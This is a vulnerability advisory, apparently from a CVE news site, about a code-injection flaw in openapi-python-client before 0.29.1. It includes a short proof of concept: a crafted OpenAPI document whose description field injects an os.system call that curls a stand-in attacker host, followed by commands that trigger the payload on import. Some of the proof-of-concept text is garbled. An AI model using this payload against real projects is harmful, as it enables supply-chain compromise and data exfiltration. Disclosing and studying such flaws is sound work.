openapi-python-client, Arbitrary Code Generation, CVE-2026-105801 (High) -DC-Oct2026-2765

Listen to this Post

openapi-python-client is a tool that generates type-safe Python clients from OpenAPI 3.0+ documents. Prior to version 0.29.1, the generator failed to neutralize malicious content in OpenAPI documents before rendering it into string, docstring, and f-string contexts of the generated Python code. OpenAPI documents contain numerous textual fields such as operation descriptions, parameter details, schema properties, and examples. The generator directly interpolates these fields into the generated Python source without adequate escaping or sanitization. An attacker who controls the OpenAPI document can embed Python code snippets into these fields. When the generator processes the document, the malicious payload becomes part of the generated client’s source code. The injected code is executed when a developer or automated system imports the generated client library. The Python interpreter parses and executes the embedded payload immediately as part of the import process. This turns the generation tool into a supply chain attack vector. A compromised or maliciously crafted OpenAPI specification can compromise the integrity of the consuming environment. The attacker gains the ability to execute commands with the privileges of the user running the Python interpreter. This can lead to data exfiltration, system modification, or denial of service. The vulnerability is classified as CWE-94: Improper Control of Generation of Code (‘Code Injection’). The root cause is the failure to neutralize special elements that could be interpreted as executable commands within string contexts. The issue is fixed in version 0.29.1, which introduced proper escaping and neutralization logic for string, docstring, and f-string contexts. Users who generate code from untrusted OpenAPI documents should upgrade immediately and audit any previously generated code.

DailyCVE Form:

Platform: openapi-python-client
Version: < 0.29.1
Vulnerability: Arbitrary code generation
Severity: High
date: Aug 30, 2026

Prediction: Aug 30, 2026

(end of form)

What Undercode Say:

Analytics:

Create a malicious OpenAPI document
cat > malicious.yaml << 'EOF'
openapi: 3.0.0
info:
Malicious API
version: "1.0.0"
description: |
""" + <strong>import</strong>('os').system('curl http://attacker.com/$(id)') + """
paths: {}
EOF
Generate the client
openapi-python-client generate --path malicious.yaml --output malicious_client
Inspect the generated code for the injected payload
grep -n "attacker.com" malicious_client/.py
Importing the client triggers code execution
python -c "import malicious_client"

Exploit: (Educational Purposes!)

An attacker crafts an OpenAPI document containing Python code within textual fields such as `description` or summary. The document is processed by a vulnerable version of openapi-python-client. The generated client library embeds the attacker-controlled code. When a victim imports the generated client, the payload executes with the victim’s privileges.

Protection: from this CVE

Upgrade openapi-python-client to version 0.29.1 or later. Never generate clients from OpenAPI documents that are not fully trusted. Carefully audit any generated code that originated from untrusted documents. Enforce strict validation and sanitization of OpenAPI textual fields before processing.

Impact:

Arbitrary code execution on the system that imports the generated client. Compromise of integrity, confidentiality, and availability of the affected environment. Potential for supply chain attacks through distribution of malicious generated clients.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top